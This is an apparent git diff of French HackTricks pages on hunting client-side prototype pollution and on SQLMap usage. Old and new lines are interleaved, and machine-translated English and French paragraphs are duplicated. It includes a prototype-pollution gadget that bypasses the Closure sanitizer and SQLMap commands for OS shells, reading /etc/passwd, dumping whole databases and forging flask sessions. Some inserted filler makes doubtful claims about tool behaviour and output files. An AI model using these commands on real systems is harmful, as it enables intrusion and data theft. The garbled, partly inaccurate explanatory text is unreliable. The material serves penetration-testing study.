Les outils [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **et** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) peuvent être utilisés pour **trouver des vulnérabilités de pollution de prototype**.
Les outils [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **et** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) peuvent être utilisés pour **trouver des vulnérabilités de pollution du prototype**.
De plus, vous pouvez également utiliser l'**extension de navigateur** [**PPScan**](https://github.com/msrkp/PPScan) pour **analyser automatiquement** les **pages** auxquelles vous **accédez** pour trouver des vulnérabilités de pollution de prototype.
De plus, vous pouvez également utiliser l'**extension de navigateur** [**PPScan**](https://github.com/msrkp/PPScan) pour **analyser automatiquement** les **pages** auxquelles vous accédez à la recherche de vulnérabilités de pollution du prototype.
### Débogage de l'utilisation d'une propriété <a href="#5530" id="5530"></a>
@ -24,49 +24,49 @@ De plus, vous pouvez également utiliser l'**extension de navigateur** [**PPScan
```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
console.trace();
return 'test';
}})
```
{% endcode %}
### Trouver la cause de la pollution de prototype <a href="#5530" id="5530"></a>
### Trouver la cause principale de la pollution du prototype <a href="#5530" id="5530"></a>
Une fois que l'un des outils a **identifié** une **vulnérabilité de pollution de prototype**, si le **code** n'est pas très **complexe**, vous pouvez **rechercher** le code JS pour les **mots-clés** **`location.hash/decodeURIComponent/location.search`** dans les outils de développement Chrome et trouver l'endroit vulnérable.
Une fois que l'un des outils a **identifié** une **vulnérabilité de pollution du prototype**, si le **code** n'est pas très **complex**, vous pouvez **rechercher** le code JS pour les **mots-clés** **`location.hash/decodeURIComponent/location.search`** dans les Outils de développement Chrome et trouver l'endroit vulnérable.
Si le code est grand et complexe, il y a une façon facile de **découvrir où se trouve le code vulnérable** :
Si le code est grand et complexe, il existe une méthode facile pour **découvrir où se trouve le code vulnérable** :
* En utilisant l'un des outils, **trouvez une vulnérabilité** et obtenez une **charge utile** qui va **définir une propriété** dans le constructeur. Dans ppmap, vous obtiendrez quelque chose comme : `constructor[prototype][ppmap]=reserved`
* Maintenant, définissez un **point d'arrêt dans la première ligne de code JS** qui va être exécutée sur la page, et rafraîchissez la page avec la charge utile pour que l'**exécution soit interrompue là**.
* Utilisez l'un des outils pour **trouver une vulnérabilité** et obtenir une **charge utile** qui va **définir une propriété** dans le constructeur. Dans ppmap, vous obtiendrez quelque chose comme : `constructor[prototype][ppmap]=reserved`
* Maintenant, définissez un **point d'arrêt sur la première ligne de code JS** qui va être exécutée sur la page, et rafraîchissez la page avec la charge utile pour que l'exécution soit en pause à cet endroit.
* Pendant que l'exécution JS est en pause, **collez le script suivant dans la console JS**. Ce code indiquera une fois que la propriété 'ppmap' est créée, vous pourrez donc trouver où elle a été créée.
```javascript
function debugAccess(obj, prop, debugGet=true){
var origValue = obj[prop];
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
return origValue = val;
}
});
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
return origValue = val;
}
});
};
debugAccess(Object.prototype, 'ppmap')
```
Retournez sur **Sources** et cliquez sur "**Reprendre** l'exécution du script". Après cela, tout le **javascript** sera **exécuté** et ppmap sera à nouveau pollué comme prévu. Avec l'aide du Snippet, nous pouvons trouver où exactement la propriété ppmap est polluée. Nous pouvons **cliquer** sur la **pile d'appels** et vous ferez face à **différentes** **piles** où la **pollution** s'est produite.
Revenez aux **Sources** et cliquez sur "Reprendre l'**exécution** du script". Une fois cela fait, tout le **javascript** sera **exécuté** et ppmap sera à nouveau pollué comme prévu. À l'aide du Snippet, nous pouvons trouver où exactement la propriété ppmap est polluée. Nous pouvons **cliquer** sur la **Pile d'appels** et vous rencontrerez **différentes** **piles** où la **pollution** s'est produite.
Mais laquelle choisir ? La plupart du temps, la pollution de prototype se produit sur les bibliothèques Javascript, donc visez la pile qui est attachée aux fichiers de bibliothèque .js (regardez du côté droit comme sur l'image pour savoir à quel point d'extrémité la pile est attachée). Dans ce cas, nous avons 2 piles à la ligne 4 et 6, logiquement nous choisirons la 4ème ligne car c'est la première fois que la pollution se produit, ce qui signifie que cette ligne est la raison de la vulnérabilité. En cliquant sur la pile, nous serons redirigés vers le code vulnérable.
Mais laquelle choisir ? La plupart du temps, la pollution du prototype se produit sur les bibliothèques Javascript, donc visez la pile qui est attachée aux fichiers de bibliothèque .js (regardez du côté droit, tout comme sur l'image, pour savoir à quel point d'extrémité la pile est attachée). Dans ce cas, nous avons 2 piles à la ligne 4 et 6, logiquement nous choisirons la 4ème ligne car c'est la première fois que la pollution se produit, ce qui signifie que cette ligne est la cause de la vulnérabilité. En cliquant sur la pile, nous serons redirigés vers le code vulnérable.
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Trouver des gadgets de script
## Recherche de gadgets de script
Le gadget est le **code qui sera exploité une fois qu'une vulnérabilité PP est découverte**.
@ -74,26 +74,60 @@ Si l'application est simple, nous pouvons **rechercher** des **mots-clés** comm
### Exemple de recherche de gadget PP dans le code de la bibliothèque Mithil
Consultez cette publication : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
Consultez cet article : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilation de charges utiles pour les bibliothèques vulnérables
## Recompilation des charges utiles pour les bibliothèques vulnérables
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## Contournement des sanitiseurs HTML via PP
[Cette recherche](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) montre des gadgets PP à utiliser pour **contourner les sanitiseurs** fournis par certaines bibliothèques de sanitiseurs HTML :
* #### sanitize-html
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
* #### dompurify
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
* #### Closure
```html
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
```
## Références
* [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
* [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
* [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

373
pentesting-web/sql-injection/sqlmap/README.md
View file

@ -1,27 +1,27 @@
# SQLMap - Cheetsheat
# SQLMap - Cheatsheet
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
{% embed url="https://www.dragonjarcon.org/" %}
## Arguments de base pour SQLmap
### Générique
### Génériques
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -39,9 +39,67 @@ Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grand
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Récupérer des informations
#### Interne
##### Database
###### Base de données
To retrieve information from the internal database, you can use SQL injection techniques. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
Pour récupérer des informations de la base de données interne, vous pouvez utiliser des techniques d'injection SQL. SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL.
To use SQLMap, you need to provide the target URL and specify the parameters vulnerable to SQL injection. SQLMap will then analyze the target and attempt to exploit the vulnerabilities.
Pour utiliser SQLMap, vous devez fournir l'URL cible et spécifier les paramètres vulnérables à l'injection SQL. SQLMap analysera ensuite la cible et tentera d'exploiter les vulnérabilités.
Here is an example command to retrieve information from the internal database using SQLMap:
Voici un exemple de commande pour récupérer des informations de la base de données interne à l'aide de SQLMap :
```
sqlmap -u http://example.com/page.php?id=1 --dbs
```
This command tells SQLMap to target the URL `http://example.com/page.php?id=1` and retrieve the list of databases (`--dbs`) available in the internal database.
Cette commande indique à SQLMap de cibler l'URL `http://example.com/page.php?id=1` et de récupérer la liste des bases de données (`--dbs`) disponibles dans la base de données interne.
Once you have identified the database you want to explore, you can use SQLMap to retrieve the tables and columns within that database.
Une fois que vous avez identifié la base de données que vous souhaitez explorer, vous pouvez utiliser SQLMap pour récupérer les tables et les colonnes de cette base de données.
Here is an example command to retrieve the tables from a specific database:
Voici un exemple de commande pour récupérer les tables d'une base de données spécifique :
```
sqlmap -u http://example.com/page.php?id=1 -D database_name --tables
```
Replace `database_name` with the name of the database you want to explore.
Remplacez `database_name` par le nom de la base de données que vous souhaitez explorer.
Once you have retrieved the tables, you can further explore the database by retrieving the columns within a specific table.
Une fois que vous avez récupéré les tables, vous pouvez explorer davantage la base de données en récupérant les colonnes d'une table spécifique.
Here is an example command to retrieve the columns from a specific table:
Voici un exemple de commande pour récupérer les colonnes d'une table spécifique :
```
sqlmap -u http://example.com/page.php?id=1 -D database_name -T table_name --columns
```
Replace `database_name` with the name of the database and `table_name` with the name of the table you want to explore.
Remplacez `database_name` par le nom de la base de données et `table_name` par le nom de la table que vous souhaitez explorer.
By using SQLMap, you can easily retrieve information from the internal database and gain valuable insights for further exploitation.
En utilisant SQLMap, vous pouvez facilement récupérer des informations de la base de données interne et obtenir des informations précieuses pour une exploitation ultérieure.
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -63,20 +121,108 @@ Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grand
### À partir de la capture Burp/ZAP
Capturez la requête et créez un fichier req.txt.
Capturez la requête et créez un fichier req.txt
```bash
sqlmap -r req.txt --current-user
```
### Injection de requête GET
In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap.
Dans cette section, nous discuterons de la manière d'effectuer des attaques par injection SQL sur les requêtes GET à l'aide de SQLMap.
#### Introduction
SQL injection is a common vulnerability that occurs when an attacker can manipulate the input parameters of a web application's SQL query. By injecting malicious SQL code, an attacker can manipulate the query's logic and potentially gain unauthorized access to the database.
L'injection SQL est une vulnérabilité courante qui se produit lorsque un attaquant peut manipuler les paramètres d'entrée d'une requête SQL d'une application web. En injectant du code SQL malveillant, un attaquant peut manipuler la logique de la requête et potentiellement accéder de manière non autorisée à la base de données.
GET requests are commonly used to retrieve data from a web server. By injecting SQL code into the parameters of a GET request, an attacker can modify the SQL query and potentially extract sensitive information from the database.
Les requêtes GET sont couramment utilisées pour récupérer des données à partir d'un serveur web. En injectant du code SQL dans les paramètres d'une requête GET, un attaquant peut modifier la requête SQL et potentiellement extraire des informations sensibles de la base de données.
#### Using SQLMap for GET Request Injection
SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques for injecting SQL code into different parts of a web application.
SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL. Il prend en charge différentes techniques pour injecter du code SQL dans différentes parties d'une application web.
To perform a SQL injection attack on a GET request using SQLMap, you need to provide the target URL and specify the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.
Pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap, vous devez fournir l'URL cible et spécifier le paramètre vulnérable. SQLMap analysera ensuite la cible et tentera d'exploiter la vulnérabilité d'injection SQL.
Here is an example command to perform a SQL injection attack on a GET request using SQLMap:
Voici une commande exemple pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap :
```
sqlmap -u "http://example.com/page.php?id=1" -p "id"
```
In this command, `-u` specifies the target URL, and `-p` specifies the vulnerable parameter. SQLMap will automatically detect the SQL injection vulnerability and attempt to exploit it.
Dans cette commande, `-u` spécifie l'URL cible et `-p` spécifie le paramètre vulnérable. SQLMap détectera automatiquement la vulnérabilité d'injection SQL et tentera de l'exploiter.
#### Conclusion
Performing SQL injection attacks on GET requests can be a powerful technique for exploiting vulnerabilities in web applications. By understanding how to use tools like SQLMap, you can effectively identify and exploit SQL injection vulnerabilities, helping to secure web applications against potential attacks.
Effectuer des attaques par injection SQL sur des requêtes GET peut être une technique puissante pour exploiter les vulnérabilités des applications web. En comprenant comment utiliser des outils comme SQLMap, vous pouvez identifier et exploiter efficacement les vulnérabilités d'injection SQL, contribuant ainsi à sécuriser les applications web contre d'éventuelles attaques.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Injection de requête POST
When performing a penetration test, it is common to encounter web applications that use POST requests to send data to the server. In some cases, these POST requests may be vulnerable to SQL injection attacks. SQLMap is a powerful tool that can be used to automate the process of identifying and exploiting SQL injection vulnerabilities in POST requests.
Lors de l'exécution d'un test de pénétration, il est courant de rencontrer des applications web qui utilisent des requêtes POST pour envoyer des données au serveur. Dans certains cas, ces requêtes POST peuvent être vulnérables aux attaques par injection SQL. SQLMap est un outil puissant qui peut être utilisé pour automatiser le processus d'identification et d'exploitation des vulnérabilités d'injection SQL dans les requêtes POST.
To use SQLMap with POST requests, you will need to capture the request using a proxy tool such as Burp Suite or OWASP ZAP. Once you have captured the request, you can save it to a file and then use SQLMap to analyze and exploit any SQL injection vulnerabilities.
Pour utiliser SQLMap avec des requêtes POST, vous devrez capturer la requête à l'aide d'un outil de proxy tel que Burp Suite ou OWASP ZAP. Une fois que vous avez capturé la requête, vous pouvez l'enregistrer dans un fichier, puis utiliser SQLMap pour analyser et exploiter les éventuelles vulnérabilités d'injection SQL.
To specify a POST request in SQLMap, you can use the `-r` option followed by the path to the file containing the request. SQLMap will then analyze the request and attempt to identify any SQL injection vulnerabilities.
Pour spécifier une requête POST dans SQLMap, vous pouvez utiliser l'option `-r` suivie du chemin vers le fichier contenant la requête. SQLMap analysera ensuite la requête et tentera d'identifier les éventuelles vulnérabilités d'injection SQL.
```
sqlmap -r /path/to/request.txt
```
Once SQLMap has identified a SQL injection vulnerability, you can use various options and techniques to exploit it. SQLMap can automatically retrieve database information, dump tables, and even execute operating system commands on the server.
Une fois que SQLMap a identifié une vulnérabilité d'injection SQL, vous pouvez utiliser différentes options et techniques pour l'exploiter. SQLMap peut automatiquement récupérer des informations sur la base de données, extraire des tables et même exécuter des commandes du système d'exploitation sur le serveur.
It is important to note that SQL injection attacks can be highly destructive and can lead to data breaches or unauthorized access to sensitive information. Therefore, it is crucial to obtain proper authorization and perform penetration testing only on systems that you have permission to test.
Il est important de noter que les attaques par injection SQL peuvent être très destructrices et peuvent entraîner des violations de données ou un accès non autorisé à des informations sensibles. Par conséquent, il est crucial d'obtenir une autorisation appropriée et de réaliser des tests de pénétration uniquement sur des systèmes pour lesquels vous avez la permission de tester.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injections dans les en-têtes et autres méthodes HTTP
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in not only the request parameters but also in the headers and other HTTP methods. Attackers can exploit these areas to perform various types of injections, including SQL injection, command injection, and OS command injection.
#### SQL Injection
SQL injection occurs when an attacker is able to manipulate the SQL query being executed by the application. This can happen when user-supplied input is not properly validated or sanitized before being included in the query. By injecting malicious SQL code, an attacker can manipulate the query to perform unauthorized actions, such as extracting sensitive information from the database or modifying its contents.
To test for SQL injection in headers and other HTTP methods, tools like SQLMap can be used. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques, such as time-based blind SQL injection and error-based SQL injection.
#### Command Injection
Command injection occurs when an attacker is able to execute arbitrary commands on the underlying operating system. This can happen when user-supplied input is passed to a system command without proper validation or sanitization. By injecting malicious commands, an attacker can execute arbitrary code, gain unauthorized access, or perform other malicious activities.
To test for command injection in headers and other HTTP methods, tools like SQLMap can also be used. SQLMap supports command injection testing by allowing the execution of arbitrary commands through the injection point.
#### OS Command Injection
OS command injection is similar to command injection, but it specifically targets the underlying operating system. By injecting malicious commands, an attacker can execute arbitrary commands on the operating system, potentially gaining full control over the system.
To test for OS command injection in headers and other HTTP methods, tools like SQLMap can be utilized. SQLMap supports OS command injection testing by allowing the execution of arbitrary commands on the underlying operating system.
It is important to thoroughly test for injections in headers and other HTTP methods during a web application penetration test to ensure the security of the application. By identifying and fixing these vulnerabilities, the risk of unauthorized access and data leakage can be significantly reduced.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -91,18 +237,28 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indiquer la chaîne lorsque l'injection est réussie
Lorsque l'injection SQL est réussie, vous pouvez utiliser l'option `--string` pour indiquer une chaîne spécifique qui apparaît dans la réponse de la requête. Cela peut être utile pour confirmer que l'injection a été effectuée avec succès.
Par exemple, si vous savez qu'une injection réussie affiche la chaîne "Bienvenue", vous pouvez utiliser la commande suivante :
```
sqlmap -u "http://example.com/page.php?id=1" --string="Bienvenue"
```
Cela permettra à sqlmap de rechercher la chaîne "Bienvenue" dans la réponse de la requête et de confirmer que l'injection a été réussie si elle est présente.
```bash
--string="string_showed_when_TRUE"
```
### Eval
Sqlmap permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
**Sqlmap** permet d'utiliser l'option `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
### Coquille
Le shell est un programme informatique qui permet à l'utilisateur d'interagir avec le système d'exploitation. Il fournit une interface en ligne de commande pour exécuter des commandes et des scripts. Le shell est un outil essentiel pour les hackers, car il leur permet d'exécuter des commandes et d'accéder aux fonctionnalités du système d'exploitation. Il existe différents types de shell, tels que Bash, PowerShell et Zsh, qui offrent des fonctionnalités avancées et des options de personnalisation. Les hackers utilisent souvent le shell pour exécuter des commandes de piratage, telles que l'injection SQL, l'exploitation de vulnérabilités et la récupération de données sensibles.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -114,22 +270,54 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Lire un fichier
To read a file using SQL injection, you can use the `LOAD_FILE()` function in MySQL. This function allows you to read the contents of a file on the server.
To use `LOAD_FILE()`, you need to provide the path to the file you want to read. The path should be an absolute path, starting from the root directory of the server.
Here is an example of how to use `LOAD_FILE()` to read a file:
```sql
SELECT LOAD_FILE('/path/to/file.txt');
```
Replace `/path/to/file.txt` with the actual path to the file you want to read.
Keep in mind that the MySQL user executing the query needs to have the necessary permissions to access the file. If the user doesn't have the required permissions, the `LOAD_FILE()` function will return `NULL`.
It's important to note that reading files using SQL injection can be illegal and unethical if done without proper authorization. Always ensure that you have the necessary permissions and legal authorization before attempting any file reading operations.
```bash
--file-read=/etc/passwd
```
### Parcourir un site web avec SQLmap et auto-exploiter
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement.
SQLmap est un outil puissant utilisé pour détecter et exploiter les vulnérabilités d'injection SQL dans les applications web. Il peut être utilisé pour automatiser le processus de découverte et d'exploitation des failles de sécurité liées à l'injection SQL.
Pour utiliser SQLmap pour parcourir un site web, vous pouvez utiliser la commande suivante :
Pour parcourir un site web avec SQLmap et exploiter automatiquement les vulnérabilités, suivez les étapes suivantes :
```
sqlmap -u <URL> --crawl=1
```
1. **Analyse du site web** : Utilisez la commande suivante pour analyser le site web cible et détecter les vulnérabilités d'injection SQL :
Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. SQLmap peut ensuite utiliser ces informations pour détecter les vulnérabilités d'injection SQL et les exploiter automatiquement.
```
sqlmap -u <URL> --crawl=3 --batch
```
Il est important de noter que l'utilisation de SQLmap pour exploiter des vulnérabilités sans autorisation préalable est illégale et peut entraîner des conséquences graves. Il est recommandé d'utiliser SQLmap uniquement à des fins de test de pénétration autorisées.
Assurez-vous de remplacer `<URL>` par l'URL du site web que vous souhaitez analyser. L'option `--crawl=3` permet à SQLmap de parcourir jusqu'à 3 niveaux de profondeur pour trouver des liens et des formulaires à analyser. L'option `--batch` permet d'exécuter SQLmap en mode non interactif.
2. **Exploitation automatique** : Une fois que SQLmap a terminé l'analyse du site web, vous pouvez utiliser la commande suivante pour exploiter automatiquement les vulnérabilités d'injection SQL détectées :
```
sqlmap -u <URL> --crawl=3 --batch --dump-all
```
Cette commande exécute SQLmap en mode non interactif et utilise l'option `--dump-all` pour extraire toutes les données de la base de données vulnérable.
Assurez-vous de remplacer `<URL>` par l'URL du site web cible.
3. **Analyse des résultats** : Une fois que SQLmap a terminé l'exploitation automatique, vous pouvez analyser les résultats pour trouver les informations sensibles extraites de la base de données vulnérable.
Les résultats seront affichés dans le répertoire de travail actuel, dans un fichier nommé `dump.csv`.
En suivant ces étapes, vous pourrez utiliser SQLmap pour parcourir un site web, détecter les vulnérabilités d'injection SQL et exploiter automatiquement ces failles pour extraire des informations sensibles de la base de données.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -138,18 +326,37 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--forms = Parse and test forms
```
### Injection de second ordre
Second Order Injection is a technique where an attacker injects malicious code into a web application that is stored in a database or other persistent storage. This code is then executed when the application retrieves and uses the stored data.
La Injection de second ordre est une technique où un attaquant injecte du code malveillant dans une application web qui est stockée dans une base de données ou autre support de stockage persistant. Ce code est ensuite exécuté lorsque l'application récupère et utilise les données stockées.
This type of injection can be more difficult to detect and exploit compared to traditional SQL injection, as the malicious code is not executed immediately upon injection. Instead, it is executed at a later time when the application retrieves the stored data.
Ce type d'injection peut être plus difficile à détecter et à exploiter par rapport à l'injection SQL traditionnelle, car le code malveillant n'est pas exécuté immédiatement après l'injection. Au lieu de cela, il est exécuté ultérieurement lorsque l'application récupère les données stockées.
To exploit a second order injection vulnerability, an attacker typically needs to find a way to store their malicious code in the application's database or other persistent storage. This can be achieved through various means, such as submitting user input that is not properly sanitized or leveraging other vulnerabilities in the application.
Pour exploiter une vulnérabilité d'injection de second ordre, un attaquant doit généralement trouver un moyen de stocker son code malveillant dans la base de données de l'application ou autre support de stockage persistant. Cela peut être réalisé de différentes manières, telles que la soumission d'une entrée utilisateur qui n'est pas correctement désinfectée ou en exploitant d'autres vulnérabilités de l'application.
